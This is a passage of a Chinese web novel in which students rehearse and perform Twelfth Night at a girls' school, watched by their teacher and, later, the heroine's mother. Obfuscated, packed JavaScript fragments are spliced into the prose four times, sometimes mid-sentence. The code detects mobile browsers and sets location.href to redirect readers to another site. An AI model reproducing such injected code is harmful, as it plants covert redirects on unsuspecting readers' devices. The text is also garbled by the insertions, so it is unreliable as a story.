“你怎么分好角色了？”沈时砚笑着问，“你是导演？” “当然。”她叉腰挺胸，转向蔚青：“你就演维奥拉吧。冷静、聪明、温柔、易被误会——这不就是你吗？” 蔚青本想拒绝，却被她这串“标签”说得一愣，没说话。 “可是……”她迟疑了一下，“我们没人会教。” “我已经安排好了。”婉芝眨了眨眼，“明天下午，我会带一个‘非常专业’的老师来指导我们。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532107|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁啊？”罗简问。 黎婉芝摊手，笑得像捂了个秘密：“保密～不过你们见了一定会特别认真练台词。” 是个难得晴朗的周末午后，阳光斜斜地照进女中的一间空教室，窗台上积了些落叶，风一吹就“哗啦”地动几下，像是给这场乱糟糟的排练配上了背景音。 教室里桌椅都被挪到墙边，中间空出一块“舞台”，木头地板在阳光底下泛着旧旧的光。 “来来来，都别站着了，我给你们分好角色啦！”黎婉芝把那张手抄的演员表贴在黑板上，用粉笔在名字后写上各自的角色—— 维奥拉：陈蔚青 奥莉维娅：黎婉芝 塞巴斯蒂安：罗炽南 玛丽娅：罗简 奥西诺公爵：沈时砚 小丑菲斯特兼安东尼奥：沈时墨 “等等等等。”沈时墨一边咬着糖果一边不满地问，“我怎么是小丑？不是说要演什么公爵来着？” “你那张脸公爵不了，17岁的孩子演什么公爵？”婉芝头也不回，“但你嘴毒、爱插话、还机灵，演小丑最合适。” “不是，你就比我大一岁摆什么架子呢……还有你这是在夸我还是骂我？” “当然是——夸你是全剧最有自由精神的角色！”她笑眯眯地说，“小丑最有趣，也最难演，他是所有人里唯一说真话的。你演好了，全场都靠你撑场子啊我亲爱的表弟！” 沈时墨嘟囔了一句“什么靠我撑场子”，但嘴角却又慢慢翘起来了。 “那也行。”他耸耸肩，跳上讲台，一屁股坐在讲桌上，“我演你们的良心，好吧。” 黎婉芝抬手一挥：“来来来，大家都按角色坐好，先读第一幕第一场——蔚青、时砚、简，我们三人开场。来来来，书拿好——” 正说着，教室门“咯吱”一声轻响。 一个穿着墨蓝长衫的身影站在门口。 梁悯初。 他像往常一样，手里夹着一本翻得起边的英诗选，神情温淡，一眼扫过全场，微微点头：“你们还真演起来了。” “老师！”黎婉芝像小鸟扑进林子一样快步迎上去，“您真的来了！” “我答应了的事，不至于赖账。”梁悯初语气温和，看着黑板上的名字和角色，“《第十二夜》？不错，挺大胆。” “老师，您今天是我们排练的指导！”婉芝拉他进门，“不过您要坐这儿，看我们先排第一幕！！” 梁悯初走到窗边，背着光坐下，指尖翻着那本英诗选，像是在等待舞台开幕前最后一声铃响。 陈蔚青站在讲台一侧，原本还算镇定的脸，在梁老师进门那一刻忽然“刷”地涨红了。 她想有点想躲了，可又不能，怎么能就为这一点小事躲起来啊！ 我得在梁老师面前……演爱情喜剧？她的脑子嗡了一下，剧本上那句“我要将我心倾诉于你，哪怕我是你不曾识破的伪装”突然变得烫手得不行。 她下意识地退了一小步，碰倒了身后的椅子。 “你怎么了？”罗简小声问。 “没、没事……”蔚青咬着唇，耳朵有点烫，她小声地把那张台词表翻到第一页，“我们演吧。” 21. 第十二夜 “唉！她有这么一颗优美的心，对于她的哥哥也会挚爱到这等地步。假如爱神那支有力的金箭把她心里一切其他的感情一齐射死……” “停停停停停停！”黎婉芝猛地站起来，手一挥，像要拍掉台词本似的，“你这台词读得——完全听不出奥西诺公爵的深情啊！” “他本来就没多深情啊。”沈时砚小声嘟囔，一边挠头，一边拿剧本边角在指尖转来转去。 “怎么会没深情！”婉芝气得转了个圈，“至少这个时候他还是很爱奥莉维娅好吧！公爵内心都快煽出火来了，你这念得像在背数学定义。” “是是是……”沈时砚垂头丧气地抓了抓头发，“但我一想到奥莉维娅是你演的，就特别出戏啊，还什么‘她有这么一颗优美的心’……”他一边说，一边小声哼哼着那句台词，带着点咬文嚼字的无奈。 “怎么？我的心不优美吗？”婉芝双手叉腰，假装怒目圆睁。 这话一出口，教室里顿时笑成一片。罗炽南甚至一边笑一边拍桌：“哎哟，黎大小姐动气了~” “不是不是！”时砚连连摆手，眼角也忍不住弯了，“我就是说台词的时候脑袋打结嘛……” “好啦好啦！”婉芝一边笑一边摆摆手打断他，“那你别把我想成奥莉维娅。来——你就想着她！”她说着，伸手就把陈蔚青往前一推。 “哎？！”蔚青踉跄了一下，差点撞到讲桌，抬头一脸懵地看着婉芝，“为什么是我？我不是演维奥拉吗？” “喂，我可是听说你们在宴会上可是并肩而立，谈笑风生，甜得都快掉蜜了，”婉芝朝她眨眨眼，语气调皮，“郎才女貌，天生一对，别以为我没去就不知道啊～” “什么！！！”罗简眼睛瞪得像两个铃铛，“你们干嘛了？！” “不是那天——”蔚青嘴角一抖，刚想辩解，又像突然想起了什么，把话生生咽了下去。 她悄悄看了一眼窗边——梁悯初正坐在窗边的椅子上，阳光照得他长衫一角泛着淡淡蓝光。他没说话，手指却有一下没一下地敲着膝盖，眼神带着笑意，不咄咄逼人，却让人无处可藏。 蔚青别开视线，耳根都红了。 “好吧好吧，我重新来总行了吧。”沈时砚见状，立刻开口打圆场。他举起剧本，假装认真，清了清嗓子，语气比刚才低了一点，“啊——一点不错，我的心就像一头鹿，轻灵、惊惶——” “别太用力！”婉芝在一旁又叫道，“你不是驯鹿，你是公爵！” 全场又是一阵笑声。 沈时砚终于磕磕绊绊地演完了公爵的开场，接下来轮到小丑费斯特——也就是沈时墨——慢吞吞走上“舞台”。 他穿了件大一号的棕色学生外套，衣摆晃来晃去，显得有点滑稽。他手里不知道从哪儿拎来一根白粉笔，勉强当作权杖，却没什么仪式感地在掌心转了两下。 “你快点啦！”婉芝在“导演椅”上催促，“就你了，赶紧的，站好念台词！” “我说……真的要我演这个？”他不知道朝谁问了一句，又像是自言自语，脸上看不出情绪，耳朵却有点红。 “你不是说自己是全场良心吗？”蔚青含笑看他，“小丑登场，光芒万丈，快点。” 沈时墨嘟囔了一声“光芒个头”，低头站好，挺了挺背，像下定了决心。然后一板一眼地开口，声音故意拉长，带着点“我要演你们就别笑我”的架势：“上帝保佑您，小姐！” 他鞠了个弯得不太标准的躬，姿势半真半假，像是认真演，又像是在自嘲。他一抬头看见婉芝盯着他，忍不住别开了脸。 “把这傻子撵出去！”黎婉芝演的奥莉维娅顺势将台词一抛。 沈时墨微微一愣，然后眯眼扫视四周，忽然抬手指着婉芝，一脸无辜地说道：“听见了吗？快快——把这位小姐撵出去。” 那语气一本正经，像圣旨宣读，瞬间把所有人都逗乐了。“台下”的其他人哈哈哈大笑着，这一幕尤其自然，简直就像他们姐弟俩平时的斗嘴。 “……算了吧。”婉芝努力维持角色，“你是个干巴巴、没趣味的傻子，我不要再看见你了；而且你已经越来越不老实了。” 沈时墨吸了口气，像真被打击了似的，一只手按着额头退后一步，假装要晕过去。 然后他突然停下，抬眼，换上一副深思熟虑的表情：“我的小姐——这两个毛病啊，用酒和忠告就能治好。” 他开始来回踱步，手里的粉笔权杖被他敲得“噔噔”作响：“干巴巴的傻子？来一口酒就润了！不老实的人？劝一劝，说两句，拍拍他肩，说——‘你啊，要做个正经人了！’” “如果他能听得进去，那就老实；听不进去……” 他看着婉芝，忽然挑眉：“那就找裁缝，给他补补——不老实的心，补上一块‘道德’的布。” “道德的失足无非补上了一块罪恶；罪恶悔改之后，也无非补上了一块道德。” 他开始讲得越来越顺了，动作也越来越大，连坐在一边的梁悯初都忍不住轻笑了一声。 “听得懂吗小姐？听得懂太好了，听不懂——”他耸耸肩，“那也没办法。” “那也没办法。”他压低声音，神情忽然有点认真：“傻子不好当啊，美人就像鲜花，傻子就像花瓶。小姐吩咐把傻子撵出去——” 他转身往外一指，语气一顿：“因此我也再说一句：把小姐她自己，撵出去吧。” 婉芝拍案：“尊驾！我吩咐他们把你撵出去呢！” 沈时墨愣了一秒，然后低头笑了笑，朝众人夸张地一鞠躬：“傻子退场。” 他转身走下讲台，脚步轻快，嘴角还挂着明显的笑意。 梁悯初笑着站起来鼓掌：“非常生动的表演。” 黎婉芝抬起头，骄傲地瞪了一眼沈时砚：“你看！这才是演戏呢。” 沈时砚缩了缩脑袋，瞪回她。 “简，该你啦！”黎婉芝边笑边翻台本，“玛丽娅在这儿上场！” 罗简把台本往桌上一拍：“行嘛！来呀！” 她站起来，没像大家那样拘谨站在角落，也没有刻意走到讲台中间。只是斜倚在讲桌边，台本随手一卷，握在指尖，像是顺手要抽个学生罚站的模样。 她嘴角一勾，抬眼看向“奥莉维娅”——婉芝。 然后开口。 声音不大，却清晰干脆，像一把小刀划过缎子：“小姐若是多听听我这‘不正经的心肝’说话，准保比那群老学究说得还中听。” 她轻轻一笑，嘴角有点不屑，又像是讥讽全场。 “奥西诺公爵？他要是真心实意，那我就是修道院的修女；可惜我只会修理人的心，不会修他那点子诗。” 她没急着念下句，而是顿了一下，用眼角扫过全场。 “他爱你，不过是爱他自己那点可怜兮兮的深情样子。你若是心软，可就落了他的计。” 全场忽然静了一秒。 婉芝眨眨眼，下意识接了一句：“你……你这是什么意思？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569296|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 简笑得更慢了一点，靠近她一步，语气里全是那种聪明女孩半真半假的毒辣温柔：“若我说的还需解读，那我倒真是高看了小姐的聪慧了。” 她话音一落，顺手把剧本一抛——啪地正好落在桌上。 “到你了，塞巴斯蒂安。”她对罗炽南点点头，一本正经地坐回原位，像什么都没发生过。 空气像是被一层薄薄的热浪搅过，又悄悄落定。 “……好家伙。”沈时墨低声说了一句，“这姑娘什么来头，梨园的？” “你这是天赋吧？”婉芝看向罗简，小声问，“你小时候练过？” 罗简没回答她，只是用剧本挡住半张脸，露出一点快藏不住的笑意。 梁悯初最后轻轻地给出评价：“很不错，简直就像专业的。“ “下一个是塞巴斯蒂安……我来……”罗炽南清了清嗓子，声音低了一点。 “和安东尼奥。”沈时墨在一旁说，“你不是一个人——我是安东尼奥。” 婉芝在台下翻着台本：“好了啊，你俩站近点，要说正经话了。” 沈时墨有点心虚地笑了笑，台词本立刻抬高了几厘米，“我们两个这是……嗯……兄弟情深？” “兄弟情深。”罗炽南点点头，像在给自己做心理建设，“开始了？” “开始了。”沈时墨一咬牙，把台词本翻开。 罗炽南先开口，略有点拘谨，像是背稿子，却又想掩饰自己其实在认真读，甚至还有几个错字：“我本来不愿意…麻烦你，可是你既然这样欢喜自己劳绿（劳碌），那么我也不再向你多话了。” 话音落地，他一顿，感觉好像“话说完了”，却又意识到他还不是这一幕的主角。 于是他往旁边看了看：“……该你了。” 沈时墨慢了半拍，眼睛盯着本子，没有抬头：“我抛不下你。” 他咳了一声，继续念：“我的愿望，比最利的刀还锋利——它逼着我追你而来。虽说是想再多看看你，其实也不全是这个缘故。” 他念到这句时下意识地抬了眼。罗炽南也正看着他，两人目光撞了一下，谁也没接话，一秒后又一起低下头。 沈时墨：“……你继续。” 罗炽南：“你别盯我。” “我演你朋友，不看你我看谁？” 大家又笑作一团，婉芝甚至笑得扑进蔚青怀里。 沈时墨又低头继续念：“我的诚心的爱……哎？——再加上这样使我忧虑的理由，迫使我来追赶你……” 他把“爱”字念得很古怪，像是说不出口一样。 罗炽南像是忽然意识到有点不对劲，咳了一声，把后半句台词一口气念完：“我的善良的安东尼奥，除了感谢、感谢、永远的感谢之外，再没有别的话好回答你了。一件好事常常只换得一声空口的道谢：可是我的钱财假如能跟我的衷心的感谢一样多，你的好心一定不会得不到重重的……报？这字怎么念来着？” “酬报！”黎婉芝拍着大腿，“你给我好好练台词！” 罗炽南拉了拉嘴角，完成了最后的台词：“要不要去瞧瞧这城里的古迹？” 他挠了挠头，“这个词怎么这么奇怪。” “不是词奇怪，是你们之间没有一点火花。”婉芝点评。 “我……”罗炽南无话可说。 黎婉芝“啪”地把剧本稿子敲在桌子上：“好了好了！这组没一点感情，让我们恭喜时砚现在已经不是最差的一个了！下一位！” 22. 距离 “下一场——奥西诺公爵与维奥拉！” 黎婉芝一声令下，沈时砚把剧本抱在臂弯里，缓步走到讲台上，姿态比刚才演独角戏要沉稳几分。他清了清嗓子，抬头望着蔚青，语气低了些。 演的是女扮男装的维奥拉和奥西诺公爵的谈话，维奥拉爱上了奥西诺公爵，却因为不能暴露身份而一直在小心翼翼地暗示。 “去找他来。现在——先把那曲调奏起来吧。” 婉芝在后头假装哼起几句琴声，还在轻轻地弹起了空气。 沈时砚转过身，眼神落在蔚青身上，声音变得温柔：“过来，孩子。要是你有一天和人恋爱了——请在甜蜜的痛苦中记着我：” “因为真心的恋人都像我……在情感上也许浮躁反复，可那心中所爱之人，却深深刻在心头，永不褪色。” 讲台那端静了几秒。 陈蔚青站在阳光碎洒的地板上，剧本在手中，却没立刻开口。 她的目光，不自觉地飘向窗边。 梁悯初坐在那里，仿佛被斜阳勾勒出剪影。墨蓝色的长衫在光里泛出一丝柔和，眼睛低垂，像在看剧本，又像早已把每一个台词都听得一清二楚。 他没有抬头看。 可蔚青却在那一瞬突然意识到——如果是他说出这些话，大概也会那样吧？不紧不慢、带着点玩笑，却又认真得让人心跳。他会什么都察觉不到的，认真地把我推开，然后献上那好似讽刺的祝福。 他也会这样说：“孩子，你若是有天恋爱了……请记得——” 她咬了下唇，努力把心思拉回到角色上。她垂下眼帘，开口，声音带着一点颤：“它……传出了爱情宝座上的回声。” 沈时砚点点头，顺着台词继续：“你说得很好。我相信你，虽然还这样年轻，但你的眼睛……一定曾经看中过什么人。是不是，孩子？” 蔚青顿了一下。 “略……略为有点，请您恕我。” 这句本是轻描淡写的推辞，可她说出口时，却像真在掩饰什么。 沈时砚看她一眼，眉头稍皱：“那是个什么样子的女人呢？” 她下意识回头，又瞄了一眼那个熟悉的身影。 “……相貌……跟您差不多。” 剧本上的回答是写给“奥西诺”的，可她说出口时，声音里竟有点真。 “那她就不配被你爱。”沈时砚笑着接下去，“什么年纪呢？” 蔚青的指节轻微收紧：“年纪……也跟您差不多，殿下。” 话音刚落，她就不敢再看那边了。 而梁悯初还是没抬头，只在翻来覆去的看着剧本，像是什么都没听见。 沈时砚还在读：“啊，那太老了……” 太老了吗？她一晃神，想起了那个她哭着说“你知不知道我喜欢你”的午后。 “因为，孩子，不论我们怎样自称自赞，我们的爱情总比女人们流动不定些，富于希求，易于反复，更容易消失而生厌。” 陈蔚青回过神来，这才慢慢抬起头，眼神重新对上沈时砚，轻声道：“我知道得很清楚，女人对一个男人会怀着怎样的爱情；真的，她们是跟我们一样真心的。我的父亲有一个女儿，她爱上了一个男人，正像假如我是个女人也许会爱上了殿下你一样。” 梁悯初抬头看了她一眼，没有说话。那眼神里像有一簇光，什么都没说，却把她脸上的红意看得一清二楚。 “来来来，今天的最后一场！重头戏！”黎婉芝举起手里的剧本，像个将军挥舞着号角，“今天一定要把那一段演出来！这可是全剧最惊天动地的场面，没有之一！” 大家大笑着纷纷发出一阵起哄声。 “蔚青，你准备好了吗？”婉芝笑得一脸恶作剧。 陈蔚青嘴角抽了抽：“准备…好了…” “开始！” 夕阳斜进女中教室的窗棂，光线打在木地板上，像一格一格的舞台灯。 沈时砚站在“舞台”一端，蔚青站在另一端，黎婉芝从讲台后走出来，步履坚定地走到中间，仿佛真的披着裙摆走在维奥拉和奥西诺之间。 “暖哟，他厌弃了我！”婉芝声音陡地拔高，像一根突兀挑开的琴弦，“我受了欺骗了！” 蔚青应声而上，慌乱之中带着一丝真情：“谁把你欺骗？谁给你受气？” “才不久你难道已经忘记？——请神父来！”婉芝回头一挥手，半是认真半是戏谑。 沈时墨在一边嘀咕：“神父去哪找？” 沈时砚干脆忽略了神父这个角色的缺失，只是照着剧本演，他对旁边的蔚青挥了挥手：“去吧。“ “到哪里去？殿下？“婉芝拉住蔚青的手，“我的夫，别去!” “你的夫？” “是的！我的夫，他能抵赖吗？” “她的夫？嘿？” “不，殿下我不是。” 这时神父该上场了，所有人都安静了下来，在等黎婉芝的如何处理这个角色的空缺。 “啊，欢迎，神父！神父，我请你凭着你的可尊敬的身份，到这里来宣布你所知道的关于这位少年和我之间不久以前的事情，虽然我们本来预备保守秘密，但现在不得不在时机未到之前公布了！”婉芝一口气说完台词，转头望向窗边。 梁悯初从窗边的位置上站起来，一手提着书，另一手负在背后，神情温和，他用低沉有磁性的声音缓缓开口：“一个永久相爱的盟约，已经由你们两人握手缔结，用神圣的吻证明，用戒指的交换确定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569297|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这婚约的一切仪式，都由我主持作证；照我的表上所指示，距离现在我不过向我的坟墓走了两小时的行程。” 话音刚落，台下的人爆发出巨大的笑声和喝彩声，演塞巴斯蒂安的罗炽南被推上前去，跟三人完成了一个结局的大和解。 散场之后，大家一边笑一边走出教室，夕阳刚好从走廊那头斜斜洒下来，把每个人的影子拉得很长。木地板上传来脚步声、笑语声、还有风拂窗的声音。 陈蔚青没有立刻跟上。 她站在原地，看着梁悯初提着书走在前头，慢慢地，她也轻轻提起书袋，悄悄跟上去。 他们沿着女中后巷那条石板小路往外走，树枝间落下的光斑摇摇晃晃，像是散落一地的剧本碎片。 街角渐渐安静下来，其他人已经走远了，巷子里只剩下他们两人的脚步声。 忽然—— 梁悯初停下了脚步，转身看她，嘴角带着一丝若有若无的笑意。 “据我所知，陈宅不是往这条路走的，”他语气温和，“我还没有老糊涂吧？” “我……”陈蔚青一时间说不出话来，脸倏地红了，像是刚才舞台上的光还没落下，“不是……我只是想和您讨论一下这个戏。” “噢？”梁悯初看着她，眉眼微挑，“什么？” 她垂着眼，捏紧手中的剧本，小声说：“可是…你不能不得到这样的回音。假如有一位姑娘——也许只有那么一个人——也像你爱着奥莉维娅一样痛苦地爱着你……”她越说声音越小，像怕那人听见。 梁悯初看着她，过了几秒才说：“这句台词练得很好。” 蔚青被他说得怔住了，喉咙像被什么堵住，一时接不上话，只轻轻点了点头：“谢谢……就这样。” 风从两人之间吹过来，像拂乱的一页台词。 他走在前面，轻声道： “Thenletthylovebeyoungerthanthyself Orthyaffectioncannotholdthebent Formenareasroses,whosefairflower Beingoncedisplayed,dothfallthatveryhour.“ 那英文句子被他说得极缓极轻，蔚青觉得听着有些耳熟，她后来才想起那是公爵对无法表达的维奥拉说的：“啊！那太老了……那么选一个比你年轻一点的人做你的爱人吧，否则你的爱情便不能常青，男人正像是娇艳的蔷薇，花开才不久便转眼枯萎……” 他小心翼翼地把原句里的Women改成了Men——把女人改成男人。但那都是后话了，那时的陈蔚青只听出了声音里遥远的距离。 23. 戏 校庆日那天，整个南州女中像是提前进入了春天。主楼前挂起了红绸白纱的横幅，“庆祝建校二十周年文艺汇演”几个金漆大字在阳光下闪着光。操场上支起临时舞台，幕布是学校美术组连夜赶制的油彩喷绘，上头画着一只展开双翅的凤凰，那只凤凰高昂着头，。 家长、校董、学社的嘉宾，甚至还有从市教育厅赶来的督学员，都坐在前排，女中所有班级也整齐排列成席，几百张眼睛一齐望着台上，一时鸦雀无声。 节目单精致得像请柬，每一页都印着演出者的名字与剧目介绍。最引人注目的那一项是下午五点整的压轴节目： 莎士比亚戏剧改编·《第十二夜》表演 ——黎婉芝编排，南州市部分友校学生共同出演。 后台的布景是借了学校礼堂的帷幕改装的，灯光用的是特别改装的煤气投影器。婉芝正一边踩着裙角在台后快步走动，一边指挥着头饰、服装、队列。罗简靠在镜前把唇膏往嘴上一抹，又撇撇嘴说：“这戏要演砸了，我就把那件玛丽娅的裙子撕了。” “你要是都能演砸了，我们就都不用演了。”沈时砚紧张地叹了一口，小声地对罗简说。 陈蔚青站在角落，看着外头坐得满满当当的观众席，心跳快得不像她。在昨晚的饭桌上母亲答应了会来，虽然那句诺言轻飘飘的，但她知道母亲一向是最信守承诺的人。她扫遍前排，没看到那个熟悉的身影。 “你妈妈还没来啊？”罗简走过来，低声问。 她摇了摇头，指尖已经在剧本边缘轻轻摩挲了一圈又一圈。 “她大概还在路上。”陈蔚青低声说，可声音里却藏不住那点失落。 “也许是人太多，还没进来呢。”罗简拍拍她的肩，又朝外面探了一眼，“这阵仗我还真没见过，连市里的洋人太太都来了。” “别紧张啦。”婉芝从后台绕过来，手里还拎着一串临时换上的羽饰，“你就当她在呢，反正待会儿台下黑压压一片，你也分不清谁是谁。” 蔚青点点头，却没说话。她知道自己不该介意，可那张椅子空着的样子，在她心里就像一口没合上的琴盖，轻轻震动着。 演出终于开始了。 一幕幕节目轮番上场，有学生歌唱，有朗诵，有舞蹈。观众席不时爆发出掌声，台下那些熟悉又陌生的大人们，坐姿端正，表情平静。直到那条写着《第十二夜》的彩带被拉起，全场才像是真的“动”了起来——有人翻起节目单，有人低声议论，有人望向后台方向。 轮到他们登场了。 舞台灯“咔哒”一声亮起，幕布缓缓拉开。木头地板在灯光下泛着温润的光泽，像是一层梦境的开始。沈时砚第一个登场，身披西装外套，拄着一根太长的拐杖，脸上那点认真几乎像是某种誓言。他的声音起初略有颤抖，但很快稳住了，撑过了整段奥西诺的开场白。 接着是黎婉芝，她轻盈地踏上台，一颦一笑都带着奥莉维娅的傲气与迷惘，那种戏谑与庄重交错的气息，像她自己，又像她说过的“浪漫的逃亡”。 然后轮到陈蔚青。 是维奥拉登场的第一幕，她站在那束灯光之中，她眼神却微微飘忽，像是一直在寻找什么。 “但是我可以相信你的心地和你的外表一样好……”她缓缓开口，语调又轻又空，几乎是机械地复述排练时的记忆。 “请你替我保守秘密，不要把我的真相泄露出去，我以后会重谢你的。” 她在说“维奥拉”的台词，可脑子里却是“陈蔚青”的事。她想起这些天一次次在饭桌上试探母亲，又一次次咽下话语的那种沉默——她对母亲说“在婉芝家一同学习”，说“只是课业太忙，婉芝一年后就要离开，想多陪陪她……”，真话中混杂着假话，真真假假，她也快分不清了，但她却始终没敢说出口的是—— “你得帮助我假扮起来，好让我达到我的目的。”她的声音轻轻一顿。就在她念出“目的”那个词的时候，眼神下意识地朝台下一扫。 还是空的。 那张椅子，整整空着，从第一幕到这一刻，都没有人来坐。 她指尖轻微发抖，但台词还是继续往下走。 “我要去侍候这位公爵，你可以把我送给他作为一个净了身的侍童；也许你会得到些好处的……”她的嗓音慢慢低了下去，像一片落叶擦过舞台的边缘，“我会使计谋，你只须静默。” 她站在灯下，说着维奥拉的“计谋”，心里却忽然觉得，那些不曾说出口的东西也在戏里露了形，变得明亮又脆弱。 紧接着蔚青的维奥拉下场，其他人相继登场。蔚青换上一身略大的西装，换下第一幕的裙子，把头发藏在帽子里，以女扮男装的姿态重新登场，她眼神清清冷冷地扫过台下。 然后是罗简的玛丽娅再登场，她穿着那件略显夸张的长裙，登台时眼神一挑，嘴角噙着一抹几乎称得上是“职业性的微笑”。她站在台上，手中扇子一展一合，语气轻慢，字字带钩，俨然一副“聪明伶俐又不饶人”的模样。 观众席上响起几声低低的笑声，紧接着是一阵小小的掌声。几位坐在前排的女校老师身子互相交换了一个惊讶的眼神。 玛丽娅退场，后台的众人都围上去，你一言我一语地夸赞起罗简的表演。只是蔚青不能多做停留，只能朝罗简笑了笑，然后再次上场。 “……你的主人知道我的意思，我不能爱他，虽然我想他品格很高，知道他很尊贵，很有身份，年轻而纯洁，有很好的名声，慷慨，博学，勇敢，长得又体面；可是我总不能爱他，他老早就已经得到我的回音了。”黎婉芝的奥利维娅叉着腰，活脱脱是一个高贵傲慢的伯爵小姐。 “要是我也像我主人一样热情地爱着您，也是这样的受苦，这样了无生趣地把生命拖延，我不会懂得您的拒绝是什么意思。”陈蔚青的维奥拉遗憾地回答道。 “啊……那你预备怎么样呢？”婉芝说完，蔚青按照剧本里写的望向婉芝演的奥莉维娅，她突然察觉到了什么不同。他觉得婉芝的眼神不再只是角色的神情，而像是真正地“在望着她”，微妙得像是带电的空气。 这一刻，陈蔚青才真正感觉到自己进入了这场戏。 “我要在您的门前用柳枝筑成一所小屋，不时到府中访谒我的灵魂：我要吟咏着被冷淡的忠诚的爱情的诗篇，不顾夜多么深我要把它们高声歌唱；我要向着回声的山崖呼喊您的名字，使饶舌的风都叫着“奥丽维娅”。啊!您在天地之间将要得不到安静，除非您怜悯了我！”她说完，轻轻倒吸一口气，再次看向观众席。 就在灯光没能照亮的边缘，她看到了一抹熟悉的影子。 那个人坐在前排靠左的第二个座位，穿着深色呢料外套，身姿笔挺，眼神却藏在阴影里—— 是她母亲。 她不知什么时候来的，也许是刚到。她没有表情，只安静地坐着。 蔚青的心“咚”地跳了一下，她不知道自己为什么突然从心底涌出了一种恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569298|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧——她赴约了，明明应该是自己…得偿所愿？ 她悬着一颗心演到最后，和罗炽南演的哥哥塞巴斯蒂安相认，然后赢来美好的结局。戏演到最后，灯光悄然收暗，幕布缓缓拉上，全场爆发出一阵热烈掌声。 这一刻，后台的每个人都屏住了呼吸——不是因为紧张，而是因为他们知道，这一切，完成了。 “走！”婉芝低声说了一句，“该我们谢幕了。” 一行六人牵着手，从侧幕缓步走上台。蔚青站在最左边，灯光洒在他们肩头，犹如春日午后最后一缕暖阳。 他们向观众鞠躬，掌声在脚下翻涌。蔚青站直了身子，鞠了两次躬。等起身时，她目光又不自觉地投向了那个角落——母亲依旧坐在那里，一动未动，像是舞台下的一尊静像。 灯光落下，他们退场。 后台一片欢呼，像刚打赢仗的临时军营。黎婉芝帮着罗简拆头饰，嘴里还在念叨什么走位不准。罗炽南蹲在旁边脱靴子，弯腰时差点把腰闪了。 沈时墨走到罗简面前，认认真真地说了一句：“你演得很好。” “哟，沈小少爷，看上人家姑娘啦？”婉芝头也不抬地取笑。 “不是！”沈时墨涨红了脸，“我只是……只是以为我会是演得最好的，没想到……” “你这话说的！”黎婉芝不满地抬头，“除开阿简，我不也比你好吗？” “你还是比我差点。”沈时墨立刻还嘴，又认真地对罗简补了一句，“我向来干什么都做得最好，但这次……你确实比我强。” “嘿！你这狂妄的小孩！”婉芝佯怒，转头朝沈时砚喊，“你快来管管你弟弟！无法无天了都这小子！” “你们几个……”沈时砚好笑地摇头，“行了行了，歇歇吧，今天都很好。” 陈蔚青没有说话。她静静卸下戏服，动作细致得像在拆掉一层旧梦。换上她的常服，裙角一摆，那一点戏里的维奥拉，也悄无声息地退场了。 她站了片刻，提起包，轻声从后台走出，穿过人群，穿过铺着彩带的小径，绕到前排那一带。 她母亲果然还坐在那里，像是特意在等她。 “妈。”她轻轻唤了一声。 陈母转过头，看了她一眼，点点头：“演完了？” “嗯。”蔚青低声答。 母女俩并肩走出礼堂，天边染成了一片温柔的金色，光像是落在她们肩膀上的羽毛。 她心跳得有些快，终于小心翼翼地问：“你觉得……戏怎么样？” 陈母没有立刻回答，而是抬起头，看着远处天空里的晚霞，好像要从那颜色里挑出一句合适的措辞。 许久，她才缓缓地说：“挺好的。婉芝那姑娘，是擅长这个。” 她顿了顿，又不紧不慢地加了一句：“你演得也好。” 蔚青眼睛微微一亮，刚想说些什么，母亲却忽然笑了一下，语气温和得几乎听不出情绪：“不过——戏就是戏，别太当真了就行。” 那句“别太当真了”，像一只看不见的小锤子，轻轻敲在蔚青心口最柔软的地方。 她没有立刻回答，只是站在那里，看着光线从台阶上一寸一寸退去，风从肩头吹过去，仿佛也把台上的掌声一并带远了。 陈母站起身，把手套重新戴好：“走吧，晚了，风凉了。” “……嗯。” 蔚青低头跟上母亲，背后是刚谢幕过的舞台，和她还没来得及谢幕的那些话语。 24. 山雨欲来 春天来了，南州的早晨总带着几分未褪尽的湿意。院子里树叶又长出新的，但风一吹，却有几片冬天没落尽的倔强地打着旋飘下来，贴在晨湿的石板上。 